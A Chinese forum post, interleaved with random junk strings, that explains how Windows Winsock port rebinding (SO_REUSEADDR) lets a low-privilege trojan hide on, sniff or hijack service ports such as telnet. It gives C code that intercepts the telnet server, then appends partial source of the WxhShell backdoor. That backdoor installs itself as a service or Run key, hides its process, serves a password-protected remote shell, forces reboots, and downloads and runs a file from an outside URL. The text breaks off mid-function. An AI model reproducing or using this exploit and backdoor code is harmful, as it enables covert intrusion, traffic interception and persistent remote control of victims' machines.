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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }p$>V,u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "C&l7K;bp  
[U.3rcT"N  
  saddr.sin_family = AF_INET; zMxHJNQ\D  
wZ6LiYiHl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |jH- bm  
kL\ FY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S*VG;m #  
[KMW *pA7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *,q ?mO  
C;];4[XR  
  这意味着什么?意味着可以进行如下的攻击: NK;%c-r0v7  
~CCRs7V/L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nh"nSBRxk  
{.qeVE{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4qXO8T#~J=  
\/J>I1J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }m0* w3  
=~6A c}$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {fFZ%$  
s(jixAf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j\k|5 ="w-  
W5PNp%+KE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9z6-HZG'~<  
 u:JD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T1 >xw4uo  
?XN=Er^  
  #include 8'[g?  
  #include `ECT8  
  #include ZmeSm& hQ_  
  #include    I ,8   
  DWORD WINAPI ClientThread(LPVOID lpParam);   hAX@|G.  
  int main() /5 yjON{  
  { &u&+:m  
  WORD wVersionRequested; 0=O(+ yi  
  DWORD ret; wd*8w$\  
  WSADATA wsaData; 9"hH2jc  
  BOOL val; + 2 v6fan  
  SOCKADDR_IN saddr; 15dhr]8E  
  SOCKADDR_IN scaddr; Ro3C(aRx  
  int err; l\g>@b  
  SOCKET s; j}O~6A>|  
  SOCKET sc; UgI0 *PE2  
  int caddsize; ~SUrbRaY>  
  HANDLE mt; " O0p.o  
  DWORD tid;   EZnXS"z  
  wVersionRequested = MAKEWORD( 2, 2 ); 3}R}|Ha J#  
  err = WSAStartup( wVersionRequested, &wsaData ); 36"-cGNr{  
  if ( err != 0 ) { S"hA@j  
  printf("error!WSAStartup failed!\n"); )tYu3*'  
  return -1; " E+V >V+  
  } 8*o*?1.  
  saddr.sin_family = AF_INET; GPV=(}z  
   0x BO5[w,Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j'r"_*%  
hK^(Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /c2| *"@X  
  saddr.sin_port = htons(23); JC6?*R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d8D028d  
  { =D-u".{  
  printf("error!socket failed!\n"); =T"R_3[NC  
  return -1; cG!\P:re  
  } D2}N6i  
  val = TRUE; Nini8@d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rSu+zS7`X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M;2@<,rM  
  { |)~t ^  
  printf("error!setsockopt failed!\n"); >s dT=6v  
  return -1; V'b$P2 ?^  
  } k7,   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5<64 C}fE3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xf2|9Tqt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RZMR2fP%  
Iu" 7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #BtJo:  
  { -t#YL  
  ret=GetLastError(); *G rYB6MT  
  printf("error!bind failed!\n"); V[DiN~H  
  return -1; B|WM;Y^  
  } d{/#A%.  
  listen(s,2); !ZxK+Xqx[  
  while(1) M02 U,!di  
  { tKS'#y!R  
  caddsize = sizeof(scaddr); F/%M`?m"ie  
  //接受连接请求 oRkh>yj'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jD}G9=[$1  
  if(sc!=INVALID_SOCKET) wWkMvs  
  { ?iXN..6x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _c!$K#Yl{  
  if(mt==NULL) xP{)+$n  
  { r=}v` R&  
  printf("Thread Creat Failed!\n"); sdp3geBYo  
  break; #jj+/>ZOi  
  } <n1panS  
  } `\-<tk9  
  CloseHandle(mt); 7l(GBr  
  } njxfBA:  
  closesocket(s); 9{*$[%d1  
  WSACleanup(); 33},lNS|  
  return 0; 216=7O2F  
  }   sP:nTpTsC  
  DWORD WINAPI ClientThread(LPVOID lpParam) HPryq )z  
  { *Jwx,wF}4  
  SOCKET ss = (SOCKET)lpParam; ldFR%v> 9  
  SOCKET sc; zgNzdO/B  
  unsigned char buf[4096]; ,,G[360  
  SOCKADDR_IN saddr; 0u) m9eg  
  long num; h0.2^vM)R  
  DWORD val; )JrG`CvdU  
  DWORD ret; q-hREO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &J?:wC=E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /hN;\Z[@  
  saddr.sin_family = AF_INET; v<3KxP'a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =h\unQ1T  
  saddr.sin_port = htons(23); 'MgYSP<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c/DK31K  
  { Fy 1- >~  
  printf("error!socket failed!\n"); &+5ij;AD  
  return -1; Q Yg V[\&  
  } C4aAPkcp2$  
  val = 100; xyD2<?dGUb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $c {fPFe-  
  { ~&< Ls  
  ret = GetLastError(); g@2KnzD  
  return -1; $GR rTC!  
  } 9?iA~r|+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5szJ.!(  
  { 0%<OwA2d  
  ret = GetLastError(); 6H1;Hl f  
  return -1; =&i#NSK  
  } l*.u rG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s(T0lul  
  { !,|-{":  
  printf("error!socket connect failed!\n"); eo*l^7  
  closesocket(sc); l6*MiX]q  
  closesocket(ss); ]Z nASlc)  
  return -1; ^H0#2hFa  
  } e9RH[:  
  while(1) 'NMO>[.  
  { c)3.AgT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {'p < o$(S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HLkI?mW<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jM}(?^@  
  num = recv(ss,buf,4096,0); n)0M1o#  
  if(num>0) ~t<G gNI  
  send(sc,buf,num,0);  + \]-"  
  else if(num==0) G?v!Uv8O  
  break; zpD?5  
  num = recv(sc,buf,4096,0); k Nvb>v  
  if(num>0) bcq&yL'D  
  send(ss,buf,num,0); 9W0*|!tQ,+  
  else if(num==0) dS8ydG2  
  break; x2sKj"2?@  
  } -=cm7/X  
  closesocket(ss); j 1;<3)%0  
  closesocket(sc); C :An  
  return 0 ; mW$Oi++'d  
  } bg!(B<!X  
x6)qs-  
H:|.e)$i  
========================================================== 9Fy 'L#%  
le' Kp V  
下边附上一个代码,,WXhSHELL OwT_W)$  
A=0{}B#  
========================================================== Y7zs)W8xTT  
TQu.jC  
#include "stdafx.h" ^mg:<_p  
I 12Zh7Cc:  
#include <stdio.h> ufe |I  
#include <string.h> ?YMBZ   
#include <windows.h> `Se2f0",  
#include <winsock2.h> EDz;6Z*4N  
#include <winsvc.h> -u(,*9]cJ*  
#include <urlmon.h> Lk!m1J5  
eR,/} g\  
#pragma comment (lib, "Ws2_32.lib") c4u/tt.)  
#pragma comment (lib, "urlmon.lib") P-a8S*RRa  
\WBO(,]V  
#define MAX_USER   100 // 最大客户端连接数 >|z:CX$]  
#define BUF_SOCK   200 // sock buffer tz8 fZ*n  
#define KEY_BUFF   255 // 输入 buffer "F}dZ  
z#Fel/L`O  
#define REBOOT     0   // 重启 q 'd]  
#define SHUTDOWN   1   // 关机 S6}_N/;6~  
|{Ex)hkw  
#define DEF_PORT   5000 // 监听端口 x|yJCs>  
{?Nm"#  
#define REG_LEN     16   // 注册表键长度 }`2a>N: &  
#define SVC_LEN     80   // NT服务名长度 ^.R!sQ  
eKy!Pai  
// 从dll定义API w\MWr+4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O_qwD6s-_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t V( WhP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I eJI-lo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0 @!huk  
2*<Zc|uNW  
// wxhshell配置信息 8h0CG]  
struct WSCFG { z"T+J?V/  
  int ws_port;         // 监听端口 ImG8v[Q E  
  char ws_passstr[REG_LEN]; // 口令 hsQDRx%H}  
  int ws_autoins;       // 安装标记, 1=yes 0=no ht*(@MCr<  
  char ws_regname[REG_LEN]; // 注册表键名 ! d<R =L  
  char ws_svcname[REG_LEN]; // 服务名 =%<, ^2o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eM{u>n+`F0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?QmtZG.$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !qp$Xtf+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "0uM%*2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .;Mb4"7=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (~eS$8>.  
6lCpf1>6@  
}; Y<|JhqOXK  
cE:s\hG  
// default Wxhshell configuration Ufl\ uq3'H  
struct WSCFG wscfg={DEF_PORT, z bYv}q  
    "xuhuanlingzhe", } A+ncabm  
    1, "T_9_6tH  
    "Wxhshell", a7c`[   
    "Wxhshell", \c<;!vkZ04  
            "WxhShell Service", rH!sImz,  
    "Wrsky Windows CmdShell Service", _]33Ht9  
    "Please Input Your Password: ", ~Ni  
  1, |,@D <  
  "http://www.wrsky.com/wxhshell.exe", MOK}:^bSu  
  "Wxhshell.exe" O-HS)g$2  
    }; D h;5hu2"  
_qR?5;v  
// 消息定义模块 YTFU# F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 26g]_Igq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (_|*&au J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; haBmwq(f  
char *msg_ws_ext="\n\rExit."; r&m49N,d  
char *msg_ws_end="\n\rQuit."; J{^md0l  
char *msg_ws_boot="\n\rReboot..."; Mib .,J~  
char *msg_ws_poff="\n\rShutdown..."; iphC\*F  
char *msg_ws_down="\n\rSave to "; iAZ8Y/  
'=vZAV`  
char *msg_ws_err="\n\rErr!"; ?5J# yn  
char *msg_ws_ok="\n\rOK!"; ]y6 {um8"  
m=sEB8P  
char ExeFile[MAX_PATH]; Fy"M 4;7  
int nUser = 0; Et!J*{s  
HANDLE handles[MAX_USER]; &n;*'M  
int OsIsNt; eJTU'aX*   
A[uE#T ^  
SERVICE_STATUS       serviceStatus; )I[f(f%W7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [:{ FR2*x  
8 7(t<3V&  
// 函数声明 { 7jim  
int Install(void); A!Cby!,  
int Uninstall(void); !Pw*p*z  
int DownloadFile(char *sURL, SOCKET wsh); |J,zU6t  
int Boot(int flag); nf^?X`g  
void HideProc(void); S?d<P  
int GetOsVer(void); /^AH/,p  
int Wxhshell(SOCKET wsl); B;ek a[xU  
void TalkWithClient(void *cs); ]CF-#q}'  
int CmdShell(SOCKET sock); ppRmC,0f^  
int StartFromService(void); : c~SH/qS  
int StartWxhshell(LPSTR lpCmdLine); TL2E|@k1]  
@>Yd6C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R1X'}#mU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sJ|pR=g)!  
 >9!J?HA  
// 数据结构和表定义 yf9"Rc~+  
SERVICE_TABLE_ENTRY DispatchTable[] = ^T!Zz"/:  
{ ,_u7@Ix  
{wscfg.ws_svcname, NTServiceMain}, ##6\~!P  
{NULL, NULL} .p! DVQ"a  
}; P !i_?M  
;Y\LsmZ;F  
// 自我安装 >^~^#MT  
int Install(void) @w8} ]S  
{ w2.] 3QAZ  
  char svExeFile[MAX_PATH]; $U*eq [  
  HKEY key; It[51NMal  
  strcpy(svExeFile,ExeFile); c'i5,\ #X  
gSwV:hm  
// 如果是win9x系统,修改注册表设为自启动 |-x-CSN  
if(!OsIsNt) { 7. <jdp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G<e+sDQ2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q13fmK(n-5  
  RegCloseKey(key); -*' ?D@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %`C*8fc&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3_)I&RM  
  RegCloseKey(key); oj djy#:  
  return 0; A,.X  
    } m "9f(  
  } YbU8 xq  
}  9!jPZn  
else { OF7hp5  
Sv M\9  
// 如果是NT以上系统,安装为系统服务 QFx3N%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QT,T5Q%JP:  
if (schSCManager!=0) d$3rcH1  
{ ,!l_  
  SC_HANDLE schService = CreateService &`I(QY  
  ( zG#5lzIu,  
  schSCManager, F,Q;sq  
  wscfg.ws_svcname, oRCc8&  
  wscfg.ws_svcdisp, 'nq=xi@RC  
  SERVICE_ALL_ACCESS, 8TFQ%jv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wnokP  
  SERVICE_AUTO_START, 9,'m,2%W  
  SERVICE_ERROR_NORMAL, Qb^G1#r@C  
  svExeFile, J _O5^=BP  
  NULL, !:|*!  
  NULL, *)Qv;'U=rn  
  NULL, 2'?'dfj  
  NULL, XLn9NBT4K  
  NULL O6hzOyNX@  
  ); =sYILe[  
  if (schService!=0) U*[E+Uq}:N  
  { 0(7 IsG=t  
  CloseServiceHandle(schService); >}V?GK36  
  CloseServiceHandle(schSCManager); tVRN3fJH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ELCNf   
  strcat(svExeFile,wscfg.ws_svcname); 3%+ ~"4&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j9NF|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vN{@c(=g  
  RegCloseKey(key); rM7qBt  
  return 0; C#U(POA  
    } 6j(/uF4!#  
  } vUpAW[[  
  CloseServiceHandle(schSCManager); g0grfGo2p  
} m;dwt1'Zw  
} ln82pQD2Y~  
h-P|O6@Ki  
return 1; <c}@lj-j  
} KyyR Hf5  
Y*c]C;%=  
// 自我卸载 uxf,95<g)  
int Uninstall(void) $.jG O!  
{ X+;[Gc}(W  
  HKEY key; ?Zb+xNKJ(  
dQj/ Sr  
if(!OsIsNt) { i5}Zk r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DO: ,PZX  
  RegDeleteValue(key,wscfg.ws_regname); (A~7>\r +  
  RegCloseKey(key); e#C v*i_<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZQfxlzj+X  
  RegDeleteValue(key,wscfg.ws_regname); @N Yl4N  
  RegCloseKey(key); \(Sly&gL  
  return 0; x?wvS]EBg  
  } gI^&z  
} )s $]+HQs  
} !2|Lb'O  
else { cdMSC7l!  
D^6*Cwb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XG/xMz~  
if (schSCManager!=0) Ooz ,?wU6  
{ LE8<JMB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *kLFs|U  
  if (schService!=0) /L^g. ~  
  { b&rBWp0#  
  if(DeleteService(schService)!=0) { ps{4_V-3u  
  CloseServiceHandle(schService); ;b{#$#`=  
  CloseServiceHandle(schSCManager); ]pR?/3  
  return 0; arL>{mj  
  } 7H3v[ f^Q  
  CloseServiceHandle(schService); 59Pc:Gg;  
  } R0-0  
  CloseServiceHandle(schSCManager); bB_LL  
} Jp=qPG|  
} ?J:w,,4m  
<[db)r~c  
return 1;  vywB{%p  
} ZexC3LD"  
cI2Ps3~"Q  
// 从指定url下载文件 o+1 (N#?m9  
int DownloadFile(char *sURL, SOCKET wsh) R:~aX,qR  
{ 8 1Kf X {|  
  HRESULT hr; dtR"5TL<~}  
char seps[]= "/"; /z-rBfdy^  
char *token; uFWA] ":is  
char *file; ZsP^<  
char myURL[MAX_PATH]; ] U>MYdGWb  
char myFILE[MAX_PATH]; hZ45i?%  
Q#p)?:o/  
strcpy(myURL,sURL); JqzoF}WH  
  token=strtok(myURL,seps); =!\Nh,\eQ  
  while(token!=NULL) <j'K7We/tP  
  { 2w.FC  
    file=token; oXG_6E!^  
  token=strtok(NULL,seps); Vh\_Ko\V5  
  } }QI \K  
R{@saa5I(>  
GetCurrentDirectory(MAX_PATH,myFILE); UdO8KD#r3  
strcat(myFILE, "\\"); SP%X@~d  
strcat(myFILE, file);  :xsZz$  
  send(wsh,myFILE,strlen(myFILE),0); [PIMG2"G  
send(wsh,"...",3,0); i<ES/U\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  V(&L  
  if(hr==S_OK) `LkrG9KV{  
return 0; Dmh$@Uu#F  
else 1mmL`M1  
return 1; -gs I:-Xo  
o-8{C0>:  
} gNZwD6GMe?  
Lvf<g}?4  
// 系统电源模块 >6C\T@{lJ  
int Boot(int flag) 5=TgOS]R  
{ r8m}B#W7  
  HANDLE hToken; a OmG,+o  
  TOKEN_PRIVILEGES tkp; J*zzjtY( 1  
Al yJ!f"Y  
  if(OsIsNt) { l+Wux$6U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L2VwW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1clzDwW  
    tkp.PrivilegeCount = 1; Mk*4J]PP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K GgtEh|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *ra)u-  
if(flag==REBOOT) { ]t 0o%w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5Dkb/Iagi  
  return 0; s@L ;3WdO  
} N]W*ei  
else { Nn_fhc>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WDw<kX6p  
  return 0; B!&5*f}*  
} !td!">r46e  
  } :I#.d7`uk  
  else { 08ZvRy(Je<  
if(flag==REBOOT) { V[.{cY ?6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SWdmej[  
  return 0; 8#QT[H 4F  
} sV"tN2W@  
else { .<t{saToU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6/;YS[jX  
  return 0; ] G["TX,  
} nYtkTP!J6  
} ]>~.U ~  
Pim  
return 1; j([b)k=  
} 5]i#l3")  
!>Nlp,r&~  
// win9x进程隐藏模块 j}Tv/O,f  
void HideProc(void) @* hv|zjs  
{ j)@W1I]2#  
Ny"9!3V   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l4RqQ+[KA;  
  if ( hKernel != NULL ) X0j\nXk  
  { F>.y>h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *A9v8$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?,VpZ%Df2  
    FreeLibrary(hKernel); ewcFzlA@  
  } !hHe`  
^6Aa^|  
return; bm;iX*~  
} $@VJ@JAe  
i7dDklj4  
// 获取操作系统版本 ,.Ofv):=  
int GetOsVer(void) E]q>ggeNH  
{ `6rLd>=R  
  OSVERSIONINFO winfo; wQ(DX!   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cx;it/8+  
  GetVersionEx(&winfo); A6szTX#0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TY]0aw2]|7  
  return 1; <x`yoVPiZg  
  else +/&rO,Ql  
  return 0; @C-dCC?  
} }<G a e5  
(lwV(M  
// 客户端句柄模块 ` ,T .  
int Wxhshell(SOCKET wsl) b#7nt ?`7p  
{ O[Z$~  
  SOCKET wsh; 1<9d[N*  
  struct sockaddr_in client; ky !Z JR  
  DWORD myID; 5JOfJ$(n  
bN?*p($/  
  while(nUser<MAX_USER) E `N`  
{ k8E2?kbF  
  int nSize=sizeof(client); v_5O*F7)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )-+tN>Bb  
  if(wsh==INVALID_SOCKET) return 1; ,% yC4  
+!@xH];  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dZ|bw0~_!  
if(handles[nUser]==0) 1N),k5I  
  closesocket(wsh); }*XF- U  
else  mTH[*Y,  
  nUser++; (l][_6Q  
  } FBNi (D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]oix))'n  
T72Li"00  
  return 0; wPghgjF{  
} =0e>'Iw2  
n}NUe`E_h  
// 关闭 socket ]UO zz1   
void CloseIt(SOCKET wsh) MeD/)T{G~  
{ ft8  
closesocket(wsh); ++2a xRl  
nUser--; [ GknE#p  
ExitThread(0); UHY)+6qt]  
} {(-TWh7V  
*)r_Y|vg  
// 客户端请求句柄 (q"S0{  
void TalkWithClient(void *cs) #d8]cm=  
{ bIt{kzuQC  
mC ]Krnx  
  SOCKET wsh=(SOCKET)cs; ,9|7{j|u  
  char pwd[SVC_LEN]; 937<:zo:  
  char cmd[KEY_BUFF]; AJ 0Bb7  
char chr[1]; %_]O|(  
int i,j; ;d7Qw~v1s  
L%7WHtU*#  
  while (nUser < MAX_USER) { R "W=V  
,DKW_F|  
if(wscfg.ws_passstr) { ]$K58C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -b%' K}.C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6#d+BBKIc  
  //ZeroMemory(pwd,KEY_BUFF); Md:*[]<~  
      i=0; uF,%N   
  while(i<SVC_LEN) { t2ui9:g4j  
Pw|/PfG  
  // 设置超时 #SLi v  
  fd_set FdRead; `5t~ Vlp  
  struct timeval TimeOut; 99h#M3@!  
  FD_ZERO(&FdRead); /\jRr7 Cd  
  FD_SET(wsh,&FdRead); -?T|1FA,  
  TimeOut.tv_sec=8; ^-# :T  
  TimeOut.tv_usec=0; vO{[P# L}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qe[ai?iJkt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k:s86q  
-% B)+yq>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k<*1mS8  
  pwd=chr[0]; c1%ki%J#  
  if(chr[0]==0xd || chr[0]==0xa) { a;7gy419<p  
  pwd=0; blV'-Al  
  break; d#,   
  } TGPdi5Eq  
  i++; iaJN~m\ M  
    } ;f3))x  
#"-w;T%b  
  // 如果是非法用户,关闭 socket 1eqFMf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '\7&Iz:%  
} +Y~,1ai 5^  
'vIVsv<p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T7G{)wm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6l?KX  
]=^NTm,  
while(1) { z81`Lhg6  
%c c<>Hi  
  ZeroMemory(cmd,KEY_BUFF); wd:SBU~f5*  
vP<8 ,XG  
      // 自动支持客户端 telnet标准   \]/ 6>yT  
  j=0; !ImtnU}  
  while(j<KEY_BUFF) { G_p13{"IM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \U`rF  
  cmd[j]=chr[0]; C"}]PW  
  if(chr[0]==0xa || chr[0]==0xd) { /Bnh%6#ab  
  cmd[j]=0; IW|1)8d  
  break; yw?UA  
  } 0.Nik^~  
  j++; p)Q='  
    } FCr>$  
 b|h`v  
  // 下载文件 g|3FJA/  
  if(strstr(cmd,"http://")) { zQ eXN7$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -/qu."9(B  
  if(DownloadFile(cmd,wsh)) $ "^yoL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;@u+b0 j  
  else 8>^O]5Wo`X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Ai\XS Am  
  } tdRnRoB  
  else { 5E|/n(  
5@Lz4 `  
    switch(cmd[0]) { +Y^/0=6h  
  eYjr/`>O  
  // 帮助 UD r@  
  case '?': { Jqi^Z*PuX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r`'n3#O*  
    break; t5za$kW'&  
  } ~|)'vK8W  
  // 安装 &@D,|kHk  
  case 'i': { ~4tu*\P  
    if(Install()) j.rJfbE|X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #$>m`r  
    else F0FF:><  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hq$?-%4  
    break; H]W59-{a  
    } kO\aNtK  
  // 卸载 O7RW*V:G@  
  case 'r': { {7X80KI  
    if(Uninstall()) bc|DC,n?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g)k::k)<e  
    else RV:%^=V-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]^^mJt.Iv  
    break; >H?{=H+/#  
    } rOy-6og  
  // 显示 wxhshell 所在路径 X8b= z9  
  case 'p': { -d 6B;I<'  
    char svExeFile[MAX_PATH]; Ey;uaqt  
    strcpy(svExeFile,"\n\r"); :AB$d~${M>  
      strcat(svExeFile,ExeFile); 13P8Zmco  
        send(wsh,svExeFile,strlen(svExeFile),0); pTJJ.#$CEF  
    break; h{cJ S9e}  
    } toCT5E_0=  
  // 重启 * <_8]C0>  
  case 'b': { VS\~t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qMe$Qr8  
    if(Boot(REBOOT)) 9rmOf Jo:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); It@.U|  
    else { $/Q*@4t  
    closesocket(wsh); 7.l[tKh  
    ExitThread(0); g k[8'  
    } "V;M,/Q|  
    break; TM|ycS'  
    } u>.qhtm[  
  // 关机 qG%'Lt  
  case 'd': { G u-#wv5@  
